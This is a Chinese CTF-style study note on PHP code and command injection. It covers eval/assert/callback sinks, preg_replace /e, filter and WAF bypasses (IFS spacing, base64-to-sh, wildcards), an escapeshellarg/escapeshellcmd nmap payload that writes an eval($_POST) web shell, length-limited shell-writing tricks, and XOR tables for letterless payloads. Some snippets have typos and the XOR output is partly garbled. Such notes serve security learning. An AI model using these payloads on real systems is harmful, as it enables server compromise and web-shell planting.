跳转至

代码 命令执行

代码/命令执行

概念

由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并交由服务器执行
代码/命令注入攻击中web服务器没有过滤类似system()、eval()、exec()等函数的传入参数是该漏洞的主要原因

代码注入相关函数

eval()

<?php
highlight_file(_FILE_);
$a='phpinfo();';
eval($a);
?>

Mixed eval(string code_str)
eval-把字符串作为PHP代码执行
Code_str是PHP代码字符串

如果是:eval('phpinfo();'); 会显示phpinfo
但是如果是eval('phpinfo()');  没有分号,那就会报错了
eval('echo 123;'); 会打印123

菜刀php7就连不上了,推荐蚁剑,而且蚁剑开源,不用担心后门问题

assert()

<?php
error_reportion(E_ALL);
highlight_file(_FILE_);
#$a='echo 12345;';
#assert($a);
$a='eval("echo`pwd`;")';
assert($a);
echo 123;
?>

跟eval()不同,如果只是传一个字符串那还是不会执行,需要函数配合
assert("echo 123;");    报错
assert("eval("echo 123;")");才可以正常输出123

call_user_func()

<?php
highlight_file(_FILE_);
$a='system';
$b='pwd';
call_user_func($a,$b);
call_user_func('assert','phpinfo()');
?>

$a='system';
$b='pwd';
call_user_func($a,$b),第一个参数是回调函数,第二个是给调用的函数传递的参数
就会执行system('pwd')

以下函数不能被call_user_func()调用:
array()、echo()、empty()、eval()、exit()、isset()、list()、print()、unset()

call_user_func_array()

$a='assert';
$b=array('phpinfo()'); 
call_user_func_array($a,$b)    第一个参数是被调用的回调函数,第二个参数是要被传入回调函数的数组

create_function()

<?php
highlight_file(_FILE_);
$a=create_function('$code','echo $code;');
$b='hello';
$a($b);
$a='phpinfo();';
$b=create_fuction(' ',$a);
$b();
?>

$a=create_function('$code','echo $code;');
$b='hello';
$a($b);
创建了一个匿名函数,直接给了$a,第一个参定义了一个参数,第二个参数定义了执行效果

array_map()

array_map  为数组的每个元素应用回调函数

<?php
highlight_file(_FILE_);
$a=$_GET['a'];
$b=$_GET['b'];
$array[0]=$b;
$c=array_map($a,$array);
?>

usort()

使用用户自定义的比较函数对数组中的值进行排序

<?php
highlight_file(_FILE_);
usort(...$_GET);
#usort($_GET[1],'assert')
?>

利用的时候要传两个参数:1[]=phpinfo&1[]=123&2=assert,穿的命令要放在数组的第一个

${phpinfo}

${里面的命令当作php代码执行}

命令注入相关函数

system()

执行系统命令

<?php
highlight_file(_FILE_);
system('pwd');
system('whoami');
?>

exec()

不直接返回结果 echo 只返回结果的最后一行,可以exec('ls',$a)  var_dump($a)

passthur()

类似system直接返回结果

shell_exec()

还是要用var_dump(exec('ls'));

``运算符

echo ls
会直接打印出 ls 产生的结果

preg_replace /e

执行一个正则表达式的搜索和替换
preg_replace($pattern, $replacement, $subject)
搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换

例如

<?php
$str = 'fl    ag';
$str = preg_replace('/\s+/', ' ', $str);
echo $str;// 将会改变为'fl ag'
?>

image.png

如果您尝试匹配该字符,则应转义以下内容
\ ^。 $ | ()[]
* +? {},
特殊字符定义
\引用下一个元字符
^匹配行首
。匹配任何字符(换行符除外)
$匹配行尾(或在换行符之前)
|轮换
()分组

[]角色类别

*匹配0次或更多次

+匹配1次或更多次

?匹配1或0次

{n}完全匹配n次

{n,}至少匹配n次

{n,m}至少匹配n次,但不超过m次

更多特殊字符的东西

\t 标签(HT,TAB)

\n 换行符(LF,NL)

\r 返回(CR)

\f 换页(FF)

\a 警报(响铃)(BEL)

\e 转义(认为troff)(ESC)

\033 八进制字符(以PDP-11为例)

\x1B 十六进制字符

\c[ 控制字符

\l 小写的下一个字符(想想vi)

\u 大写的下一个字符(想想vi)

\L 小写字母到\ E(想vi)

\U 大写字母直到\ E(想vi)

\E 结束案例修改(想想vi)

\Q 引用(禁用)模式元字符,直到\ E

甚至更多特殊字符

\w 匹配一个“单词”字符(字母数字加“ _”)

\W 匹配非单词字符

\s 匹配空白字符

\S 匹配非空格字符

\d 匹配数字字符

\D 匹配一个非数字字符

\b 匹配单词边界

\B 匹配非(单词边界)

\A 仅在字符串开头匹配

\Z 仅在字符串末尾或换行符末尾匹配

\z 仅在字符串末尾匹配

\G 仅在上一个m // g停止的地方匹配(仅适用于/ g)

如果他的 $pattern 有一个 /e 的修饰符,则可能有代码执行的风险

<?php 
    function complexStrtolower($regex,$value){
        return preg_replace(
            '/('. $regex . ')/ei',
            'strtolower("\\1")',
            $value
        );
    }

    foreach($_GET as $regex => $value){
        echo complexStrtolower($regex,$value) . "\n";
    }
    print_r($_GET);
?>

相当于 eval('strtolower("\1");')
而 \1 就是 \1 也就是匹配到的第一个

如果是这样的话就可以执行 phpinfo

<?php
preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}');
?>

image.png

但是如果传入的话 . 会被替换为 _,可以用其他通配符代替,比如\S*

image.png

命令执行绕过

<?php
$rce ="echo";
system($rce.$_GET[1])
?>

如果传参1=123,就会打印123,这是系统调用echo函数的原因

绕过方法

在存在过滤的时候直接使用 ? 代替

例如 flag被过滤了,直接 cat ????.txt 就行

image.png

PHP 字符串解析特性

当 php 查询字符串进行解析的时候会将某些字符删除或用下划线代替
参考:https://www.freebuf.com/articles/web/213359.html

<?php
    foreach(
        [
            "{chr}foo_bar",
            "foo{chr}bar",
            "foo_bar{chr}"
        ] as $k => $arg) {
            for($i=0;$i<=255;$i++) {
                echo "\033[999D\033[K\r";
                echo "[".$arg."] check ".bin2hex(chr($i))."";
                parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
                if(isset($o["foo_bar"])) {
                    echo "\033[999D\033[K\r";
                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
                }
            }
            echo "\033[999D\033[K\r";
            echo "\n";
    }

这道题目中 WAF 的存在使得没法给 num 传字符,但是如果在 num 前面加上个空格,那样 WAF 在检测的时候就不会检测到 num 这个参数,但是 PHP在解析的时候会把空格删掉,这样就可以命令执行了

换行符

%0a

回车符

%0d

分号

;

后台进程

&

管道符

|
echo 'ls'|bash
把左边的输出作为右边的输入

逻辑

||  &&

空格代替

可以用下面这些来代替空格:
${IFS}
<
$IFS
$IFS$9(这个数字随意)
%09  在url中传递参数
$a=l;$b=s;$a$b -> ls

base64编码

echo d2hvYW1p| base64 -d
d2hvYW1p是whoami的b64编码
结果就是whoami的结果
echo Y2F0IGZsYWcucGhw|base64 -d|sh

image.png

额,备份一下
WJ

可以直接 cat ls
把反引号内的命令输出作为输入给 cat

echo Y2F0IGZsYWcudHh0|base64 -d|base64

image.png

escapeshellarg&escapeshellcmd

escapeshellarg
**
字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
string escapeshellarg(string $arg)

image.png

在执行命令的时候,如果外面包裹的是双引号,是可以正常的执行的,要是能让他双引号拼接的话说不定...

image.png

escapeshellcmd

对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义
在 &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF 前插入反斜线

转义了 ; 实际执行的命令是 ls '/root;' 'id'

image.png

两个结合起来,如果先用了 escapeshellarg,后用了 escapeshellcmd:
例题:[BUUCTF 2018]Online Tool

就看这些

<?php
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

想通过 nmap 的 -oG 把命令写入一个文件里面
' <?php eval($_POST["v"]);?> -oG shell.php '

首先经过 escapeshellarg,处理之后的样子↓
''\'' <?php eval($_POST["v"]);?> -oG shell.php '\'''

然后经过 escapeshellcmd 转义后:
''\'' <\?php eval(\$_POST["v"])\;\?> -oG shell.php '\'''

然后实际上他就是
nmap -T5 -sT -Pn --host-timeout 2 -F  \ <?php eval($_POST["v"]);?> -oG shell.php \

image.png

ps.这个题 flag 在根目录:/flag

无回显

延时

比如:ls|sleep 3
延时3秒,就说明执行了命令

HTTP请求

DNS请求

CEYE

可控字符串长度受限

15个可控字符

<?php
highlight_file(_FILE_);
if(strlen($_GET[1])<15){
  echo strlen($_GET[1]);
  echo shell_exec($_GET[1]);
}else{
  exit('too long');
}
?>

一个>是写入
两个是追加
有的需要反斜线来告诉他是字符

echo /<?php >1
echo eval(>>1
echo \$_GET>>1
echo [1]>>1
echo )\;>>1

这样才能写入:

<?php
eval(
$_GET
[1]
};

7个可控字符

<?php
highlight_file(_FILE_);
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>

命令 > 文件名
会将结果输出到文件中

w>hp
w>1.p
w>d\>
w>\ -
w>e64
w>bas
w>\|
w>w==
w>gpO
w>mby
w>aW5
w>2hv
w>Agb
w>waH
w>PD9
w>o\ 
w>ech
ls -t>0    按照时间排序拼接
sh 0        执行

5个可控字符

其实可以直接>文件名

ls\
ls>a

此时目录下有ls 文件名

-t\
>0
ls>>a

4位可控字符

* 只带当前目录下文件
相当于把目录下的文件名拼接成一句话来运行

rev 会把文件倒过来输出
如果存在文件名:rev  v  v里面内容是12345
* 的效果就是输出54321,相当于给rev传递了一个v的参数
注意是每一行反过来,不是整个的

ls会把每个结果作为一行
dir会把所有的拼成一行

整个过程:

f>     最终生成的文件名,为了不影响 dir 要把名字改的在d后面
ht-
sl
dir       生成dir文件,然后 * 就是dir的效果了
>v         把dir的效果输出到v里面
rev        创建一个v
v>0       反向结果输出到0
sh 0       运行

无字母数字

将非字母、数字的字符经过各种变化最终构造成a-z中的任意字符

取反
自增
异或
<?php
$a = '~!@#$%^&*()_+\|/?.,<>`-={}[]';
for($i = 0;$i<strlen($a);$i++){
    for($j=0;$j<strlen($a);$j++){
        if(ord($a[$i]^$a[$j])>64&&ord($a[$i]^$a[$j])<91){
            echo $a[$i]. ' xor '.$a[$j].' is ';
            echo chr(ord($a[$i]^$a[$j])). ' ';
                echo ord($a[$i]^$a[$j]);
            echo "\n<br>";
        }elseif(ord($a[$i]^$a[$j])>96&&ord($a[$i]^$a[$j])<122){
            echo $a[$i].' xor '.$a[$j].' is ';
            echo chr(ord($a[$i]^$a[$i])).' ';
            echo ' '.ord($a[$i]^$a[$j]);
            echo "\n<br>";
        }
    }
}
?>

结果:
~ xor $ is Z 90 
~ xor & is X 88 
~ xor * is T 84 
~ xor ( is V 86 
~ xor ) is W 87 
~ xor + is U 85 
~ xor / is Q 81 
~ xor ? is A 65 
~ xor . is P 80 
~ xor , is R 82 
~ xor < is B 66 
~ xor - is S 83 
~ xor = is C 67 
! xor @ is a 97 
! xor ` is A 65 
! xor { is Z 90 
@ xor ! is a 97 
@ xor # is c 99 
@ xor $ is d 100 
@ xor % is e 101 
@ xor & is f 102 
@ xor * is j 106 
@ xor ( is h 104 
@ xor ) is i 105 
@ xor + is k 107 
@ xor / is o 111 
@ xor . is n 110 
@ xor , is l 108 
@ xor - is m 109 

xor @ is c 99

xor ` is C 67

xor { is X 88

xor [ is x 120

$ xor ~ is Z 90 
$ xor @ is d 100 
$ xor \ is x 120 
$ xor | is X 88 
$ xor is D 68  $ xor } is Y 89  $ xor ] is y 121  % xor @ is e 101  % xor \ is y 121  % xor | is Y 89  % xor is E 69 
% xor } is X 88 
% xor ] is x 120 
^ xor & is x 120 
^ xor * is t 116 
^ xor ( is v 118 
^ xor ) is w 119 
^ xor + is u 117 
^ xor / is q 113 
^ xor ? is a 97 
^ xor . is p 112 
^ xor , is r 114 
^ xor < is b 98 
^ xor - is s 115 
^ xor = is c 99 
& xor ~ is X 88 
& xor @ is f 102 
& xor ^ is x 120 
& xor _ is y 121 
& xor | is Z 90 
& xor is F 70  * xor ~ is T 84  * xor @ is j 106  * xor ^ is t 116  * xor _ is u 117  * xor \ is v 118  * xor | is V 86  * xor is J 74 
* xor { is Q 81 
* xor } is W 87 
* xor [ is q 113 
* xor ] is w 119 
( xor ~ is V 86 
( xor @ is h 104 
( xor ^ is v 118 
( xor _ is w 119 
( xor \ is t 116 
( xor | is T 84 
( xor is H 72  ( xor { is S 83  ( xor } is U 85  ( xor [ is s 115  ( xor ] is u 117  ) xor ~ is W 87  ) xor @ is i 105  ) xor ^ is w 119  ) xor _ is v 118  ) xor \ is u 117  ) xor | is U 85  ) xor is I 73 
) xor { is R 82 
) xor } is T 84 
) xor [ is r 114 
) xor ] is t 116 
_ xor & is y 121 
_ xor * is u 117 
_ xor ( is w 119 
_ xor ) is v 118 
_ xor + is t 116 
_ xor / is p 112 
_ xor . is q 113 
_ xor , is s 115 
_ xor < is c 99 
_ xor > is a 97 
_ xor - is r 114 
_ xor = is b 98 
+ xor ~ is U 85 
+ xor @ is k 107 
+ xor ^ is u 117 
+ xor _ is t 116 
+ xor \ is w 119 
+ xor | is W 87 
+ xor is K 75  + xor { is P 80  + xor } is V 86  + xor [ is p 112  + xor ] is v 118  \ xor $ is x 120  \ xor % is y 121  \ xor * is v 118  \ xor ( is t 116  \ xor ) is u 117  \ xor + is w 119  \ xor / is s 115  \ xor ? is c 99  \ xor . is r 114  \ xor , is p 112  \ xor > is b 98  \ xor - is q 113  \ xor = is a 97  | xor $ is X 88  | xor % is Y 89  | xor & is Z 90  | xor * is V 86  | xor ( is T 84  | xor ) is U 85  | xor + is W 87  | xor / is S 83  | xor ? is C 67  | xor . is R 82  | xor , is P 80  | xor > is B 66  | xor - is Q 81  | xor = is A 65  / xor ~ is Q 81  / xor @ is o 111  / xor ^ is q 113  / xor _ is p 112  / xor \ is s 115  / xor | is S 83  / xor is O 79 
/ xor { is T 84 
/ xor } is R 82 
/ xor [ is t 116 
/ xor ] is r 114 
? xor ~ is A 65 
? xor ^ is a 97 
? xor \ is c 99 
? xor | is C 67 
? xor { is D 68 
? xor } is B 66 
? xor [ is d 100 
? xor ] is b 98 
. xor ~ is P 80 
. xor @ is n 110 
. xor ^ is p 112 
. xor _ is q 113 
. xor \ is r 114 
. xor | is R 82 
. xor is N 78  . xor { is U 85  . xor } is S 83  . xor [ is u 117  . xor ] is s 115  , xor ~ is R 82  , xor @ is l 108  , xor ^ is r 114  , xor _ is s 115  , xor \ is p 112  , xor | is P 80  , xor is L 76 
, xor { is W 87 
, xor } is Q 81 
, xor [ is w 119 
, xor ] is q 113 
< xor ~ is B 66 
< xor ^ is b 98 
< xor _ is c 99 
< xor { is G 71 
< xor } is A 65 
< xor [ is g 103 
< xor ] is a 97 

xor _ is a 97 
xor \ is b 98 
xor | is B 66 
xor { is E 69 
xor } is C 67 
xor [ is e 101 
xor ] is c 99 
xor ! is A 65 xor # is C 67 
xor $ is D 68 xor % is E 69 
xor & is F 70 xor * is J 74 
xor ( is H 72 xor ) is I 73 
xor + is K 75 xor / is O 79 
xor . is N 78 xor , is L 76 
xor - is M 77  - xor ~ is S 83  - xor @ is m 109  - xor ^ is s 115  - xor _ is r 114  - xor \ is q 113  - xor | is Q 81  - xor is M 77 
- xor { is V 86 
- xor } is P 80 
- xor [ is v 118 
- xor ] is p 112 
= xor ~ is C 67 
= xor ^ is c 99 
= xor _ is b 98 
= xor \ is a 97 
= xor | is A 65 
= xor { is F 70 
= xor [ is f 102 
{ xor ! is Z 90 
{ xor # is X 88 
{ xor * is Q 81 
{ xor ( is S 83 
{ xor ) is R 82 
{ xor + is P 80 
{ xor / is T 84 
{ xor ? is D 68 
{ xor . is U 85 
{ xor , is W 87 
{ xor < is G 71 
{ xor > is E 69 
{ xor - is V 86 
{ xor = is F 70 
} xor $ is Y 89 
} xor % is X 88 
} xor * is W 87 
} xor ( is U 85 
} xor ) is T 84 
} xor + is V 86 
} xor / is R 82 
} xor ? is B 66 
} xor . is S 83 
} xor , is Q 81 
} xor < is A 65 
} xor > is C 67 
} xor - is P 80 
[ xor # is x 120 
[ xor * is q 113 
[ xor ( is s 115 
[ xor ) is r 114 
[ xor + is p 112 
[ xor / is t 116 
[ xor ? is d 100 
[ xor . is u 117 
[ xor , is w 119 
[ xor < is g 103 
[ xor > is e 101 
[ xor - is v 118 
[ xor = is f 102 
] xor $ is y 121 
] xor % is x 120 
] xor * is w 119 
] xor ( is u 117 
] xor ) is t 116 
] xor + is v 118 
] xor / is r 114 
] xor ? is b 98 
] xor . is s 115 
] xor , is q 113 
] xor < is a 97 
] xor > is c 99 
] xor - is p 112 

原文: https://www.yuque.com/hxfqg9/web/igzkae